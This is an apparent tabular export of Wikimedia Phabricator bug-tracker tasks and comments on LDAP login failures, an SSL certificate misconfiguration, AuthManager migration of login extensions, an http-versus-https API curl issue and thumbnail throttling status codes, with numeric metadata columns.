+[[https://gerrit.wikimedia.org/r/235005]]",,,1441031886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+517671,Logins fail on new instances,"Change 235005 had a related patch set uploaded (by Andrew Bogott):
+Make ldap/nscd/nslcd install order more explicit.
+
+[[https://gerrit.wikimedia.org/r/235005]]
+",,,1441031688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+517669,Logins fail on new instances,"Aug 31 14:23:53 nscld-test-1001 systemd[1]: Startup finished in 6.061s (kernel) + 1min 24.383s (userspace) = 1min 30.444s.
+Aug 31 14:24:34 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
+Aug 31 14:24:34 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
+Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
+Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
+Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> no available LDAP server found: Connect error
+Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> no available LDAP server found: Server is unavailable
+Aug 31 14:25:01 nscld-test-1001 CRON[6524]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
+Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
+Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
+Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
+Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
+Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> no available LDAP server found: Connect error
+Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> no available LDAP server found: Server is unavailable
+Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
+Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
+Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
+Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
+Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> no available LDAP server found: Connect error
+Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
+Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
+Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
+Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
+Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> no available LDAP server found: Connect error
+Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> no available LDAP server found: Server is unavailable
+Aug 31 14:25:34 nscld-test-1001 nslcd[1833]: [a026fa] <group=""project-testlabs""> no available LDAP server found: Server is unavailable
+Aug 31 14:25:38 nscld-test-1001 nslcd[1833]: [447b73] <passwd=""*""> request denied by validnames option",,,1441031208,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+110511,sitemap.wikimedia.org uses invalid SSL certificate,"Similar to the two domains (download.wiki[mp]edia.org) in T107575, https://sitemap.wikimedia.org/ also uses the cert of dumps.wikimedia.org, since sitemap is a CNAME to dumps.
+
+So sitemap.wikimedia.org needs to point to text-lb and set it to redirect to https://dumps.wikimedia.org/.",Needs Triage,90.0,1440676485,1441205288.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-t2oqe5bothprh5pockho,task_description,resolved,True,c3,3,True,False,True,8,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+519265,sitemap.wikimedia.org uses invalid SSL certificate,https://www.ssllabs.com/ssltest/analyze.html?d=sitemap.wikimedia.org&s=208.80.154.224  ,,,1441205596,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+519256,sitemap.wikimedia.org uses invalid SSL certificate,"Since Apache and DNS change are merged, this should solve the issue for now since sitemap can use the wildcard cert.",,,1441205206,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+519253,sitemap.wikimedia.org uses invalid SSL certificate,"Change 234257 merged by BBlack:
+Point sitemap.wikimedia.org to text-lb.
+
+[[https://gerrit.wikimedia.org/r/234257]]",,,1441204975,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+518811,sitemap.wikimedia.org uses invalid SSL certificate,"Change 234256 merged by Dzahn:
+Rewrite sitemap.wikimedia.org to dumps.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/234256]]",,,1441143774,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+518685,sitemap.wikimedia.org uses invalid SSL certificate,I'd just decom it for now. Can always resurrect if T23765 or something else finds a use for it.,,,1441134511,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+515858,sitemap.wikimedia.org uses invalid SSL certificate,Also see T101486. Question is what sitemap.wm.org is even here for or if we should simply remove it. Unless we'd actually do T23765 and use it for that.,,,1440685359,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+515803,sitemap.wikimedia.org uses invalid SSL certificate,I copied the CC list of T107575 to this one.,,,1440680493,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+515800,sitemap.wikimedia.org uses invalid SSL certificate,"Change 234257 had a related patch set uploaded (by Chmarkine):
+Point sitemap.wikimedia.org to text-lb.
+
+[[https://gerrit.wikimedia.org/r/234257]]
+",,,1440680150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515798,sitemap.wikimedia.org uses invalid SSL certificate,"Change 234256 had a related patch set uploaded (by Chmarkine):
+Rewrite sitemap.wikimedia.org to dumps.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/234256]]
+",,,1440680141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+110470,Update TwitterLogin to use AuthManager,"See parent task and T110414#1578206.
+Calls $wgAuth->allowPasswordChange(). Should be rewritten as a PrimaryAuthenticationProvider.",Needs Triage,90.0,1440643291,1688686056.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-escte3psz5yfd2nj3jzr,False,PHID-TASK-26qgnmzr67uxlhfd4wv4,task_description,declined,True,c3,3,True,False,False,8,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1
+2155128,Update TwitterLogin to use AuthManager,{T334546},,,1688686056,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-26qgnmzr67uxlhfd4wv4,task_subcomment,,True,c3,3,True,,,418,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+1105591,Update TwitterLogin to use AuthManager,"Change 446357 **merged** by jenkins-bot:
+[integration/config@master] Disable test for ext not supporting AuthManager
+
+[[https://gerrit.wikimedia.org/r/446357]]",,,1531844905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-26qgnmzr67uxlhfd4wv4,task_subcomment,,True,c3,3,False,,,158,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1105581,Update TwitterLogin to use AuthManager,"Change 446357 had a related patch set uploaded (by Hashar; owner: Hashar):
+[integration/config@master] Disable test for ext not supporting AuthManager
+
+[[https://gerrit.wikimedia.org/r/446357]]",,,1531844718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-26qgnmzr67uxlhfd4wv4,task_subcomment,,True,c3,3,False,,,158,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+110468,Update SSLClientAuthentication to use AuthManager,"See parent task and T110414#1578206.
+
+The 'AbortLogin' and 'UserLoadFromSession' hooks are both deprecated. You probably want a SessionProvider similar to the one used by the OAuth extension, and maybe a SecondaryAuthenticationProvider to reject the login if that turns out to still be necessary.",Needs Triage,90.0,1440643208,1677497681.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-btpyxkhd7frm5u6f2clq,task_description,declined,True,c3,3,True,False,False,8,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+2076610,Update SSLClientAuthentication to use AuthManager,Per {T330039}.,,,1677497681,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-btpyxkhd7frm5u6f2clq,task_subcomment,,True,c3,3,True,,,399,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+1105590,Update SSLClientAuthentication to use AuthManager,"Change 446357 **merged** by jenkins-bot:
+[integration/config@master] Disable test for ext not supporting AuthManager
+
+[[https://gerrit.wikimedia.org/r/446357]]",,,1531844905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btpyxkhd7frm5u6f2clq,task_subcomment,,True,c3,3,False,,,158,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1105584,Update SSLClientAuthentication to use AuthManager,"Change 446357 had a related patch set uploaded (by Hashar; owner: Hashar):
+[integration/config@master] Disable test for ext not supporting AuthManager
+
+[[https://gerrit.wikimedia.org/r/446357]]",,,1531844722,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btpyxkhd7frm5u6f2clq,task_subcomment,,True,c3,3,False,,,158,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+110299,Update AjaxLogin to use AuthManager,Needs to be redone to be based on the APIs provided by MediaWiki core instead of reinventing everything in its own API module. The existing code will not continue to reliably work with AuthManager.,Needs Triage,90.0,1440571935,1499175625.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-mlp7cjyksjzemkdr5ued,False,PHID-TASK-ze2n7oviiqce2yyn7775,task_description,declined,True,c3,3,True,False,False,7,True,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+887136,Update AjaxLogin to use AuthManager,"@ashley It will be cool if you could update the extension's pages accordingly. I know that's painful but that's where users land in the first place. [[ https://www.mediawiki.org/w/index.php?title=Extension%3AAjaxLogin&type=revision&diff=2507168&oldid=2314315 | Done now as a service. ]] Anyways, thanks for dealing with this task and giving the status update.",,,1499178622,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ze2n7oviiqce2yyn7775,task_subcomment,,True,c3,3,False,,,104,True,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+887135,Update AjaxLogin to use AuthManager,"@ashley It will be cool if you could update the extension's pages accordingly. I know that's painful but that's where users land in the first place. [[ https://www.mediawiki.org/w/index.php?title=Extension%3AAjaxLogin&type=revision&diff=2507168&oldid=2314315 | Done now as a service. ]]. Anyways, thanks for dealing with this task and giving the status update.",,,1499178610,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ze2n7oviiqce2yyn7775,task_subcomment,,True,c3,3,False,,,104,True,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+887092,Update AjaxLogin to use AuthManager,"Given the existence of Florian's awesome [[https://www.mediawiki.org/wiki/Extension:OOJsUIAjaxLogin|OOJsUIAjaxLogin extension]], which actually works, looks modern and isn't a horrible pile of hacks on top of hacks, I'm going to say that AjaxLogin is deprecated in favor of OOJsUIAjaxLogin and thus I'm declining this task.",,,1499175625,,PHID-USER-mlp7cjyksjzemkdr5ued,False,,,PHID-TASK-ze2n7oviiqce2yyn7775,task_subcomment,,True,c3,3,True,,,104,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+110167,Calling the API with curl returns empty contents when using http,"The following PHP code used to work:
+
+    $ch = curl_init(""http://he.wikisource.org/w/api.php"");
+    curl_setopt($ch, CURLOPT_HTTPGET, true);
+    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+    curl_setopt($ch, CURLOPT_USERAGENT, 'ErelBot/1.0 (erelsgl@gmail.com)');
+    $result = curl_exec($ch);
+    print ""<p>---$result---</p>\n"";
+
+But not it doesn't work - the returned ""$result"" is empty.
+
+What happened?",Needs Triage,90.0,1440492671,1440505174.0,PHID-USER-ivje4tbnwmmgjxowbqby,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-e2ve4b5jhebeimslgby5,task_description,invalid,True,c3,3,False,False,True,7,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+514114,Calling the API with curl returns empty contents when using http,That was it. Thanks!!,,,1440504879,,PHID-USER-ivje4tbnwmmgjxowbqby,False,,,PHID-TASK-e2ve4b5jhebeimslgby5,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+514106,Calling the API with curl returns empty contents when using http,I think you need to use https instead of http.,,,1440504185,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-e2ve4b5jhebeimslgby5,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+110109,Thumbnail render throttling should not result in HTTP 500,"`thumb.php` throttles thumbnail rendering in various ways, and it returns a HTTP 500 if a request was refused due to throttling. That is wrong and causes false alarms; a 4xx status code should be used (probably HTTP 429 Too Many Requests).
+
+There are multiple places where this needs to be fixed:
+* when `User::pingLimiter` returns false
+* when the `attempt-failures` memcached key hits the limit
+* when PoolCounter refuses to take the job (can that happen?)",Needs Triage,90.0,1440449935,1440627893.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-tsna5tqdourvyes6rfrj,task_description,resolved,True,c3,3,True,True,True,7,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+515359,Thumbnail render throttling should not result in HTTP 500,"Change 234152 merged by jenkins-bot:
+Return HTTP 429 when thumbnailing is throttled due to too many errors
+
+[[https://gerrit.wikimedia.org/r/234152]]",,,1440627355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsna5tqdourvyes6rfrj,task_subcomment,,True,c3,3,False,,,7,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+515335,Thumbnail render throttling should not result in HTTP 500,"Change 234152 had a related patch set uploaded (by Gergő Tisza):
+Return HTTP 429 when thumbnailing is throttled due to too many errors
+
+[[https://gerrit.wikimedia.org/r/234152]]
+",,,1440624870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsna5tqdourvyes6rfrj,task_subcomment,,True,c3,3,False,,,7,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+515263,Thumbnail render throttling should not result in HTTP 500,"Change 234039 merged by jenkins-bot:
+Reduced some instances of HTTP 500 in thumb.php
+
+[[https://gerrit.wikimedia.org/r/234039]]",,,1440619651,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsna5tqdourvyes6rfrj,task_subcomment,,True,c3,3,False,,,7,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515174,Thumbnail render throttling should not result in HTTP 500,"Change 234039 had a related patch set uploaded (by Aaron Schulz):
+Reduced some instances of HTTP 500 in thumb.php
+
+[[https://gerrit.wikimedia.org/r/234039]]
+",,,1440615166,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsna5tqdourvyes6rfrj,task_subcomment,,True,c3,3,False,,,7,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+109215,Login with pywikibot loops on toollabs,"When logging in to pywikibot on toollabs, I am getting a looping login, and it is new (for me) in the past couple of days
+
